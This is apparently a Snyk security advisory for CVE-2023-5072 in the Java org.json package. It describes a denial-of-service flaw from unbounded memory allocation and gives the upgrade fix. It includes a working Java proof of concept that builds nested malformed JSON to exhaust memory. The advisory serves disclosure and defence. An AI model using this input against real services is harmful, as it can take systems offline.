Allocation of Resources Without Limits or Throttling Affecting org.json:json package, versions [0,20231013)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.09% (39th percentile)

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  • Snyk IDSNYK-JAVA-ORGJSON-5962464
  • published13 Oct 2023
  • disclosed12 Oct 2023
  • creditÉamonn McManus

Introduced: 12 Oct 2023

CVE-2023-5072  (opens in a new tab)
CWE-770  (opens in a new tab)

How to fix?

Upgrade org.json:json to version 20231013 or higher.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. An attacker can cause indefinite amounts of memory to be used by inputting a string of modest size. This can lead to a Denial of Service.

PoC

package orgjsonbug;

import org.json.JSONObject;

/**
 * Illustrates a bug in JSON-Java.
 */
public class Bug {
  private static String makeNested(int depth) {
    if (depth == 0) {
      return "{\"a\":1}";
    }
    return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
  }

  public static void main(String[] args) {
    String input = makeNested(30);
    System.out.printf("Input string has length %d: %s\n", input.length(), input);
    JSONObject output = new JSONObject(input);
    System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
  }
}

CVSS Scores

version 3.1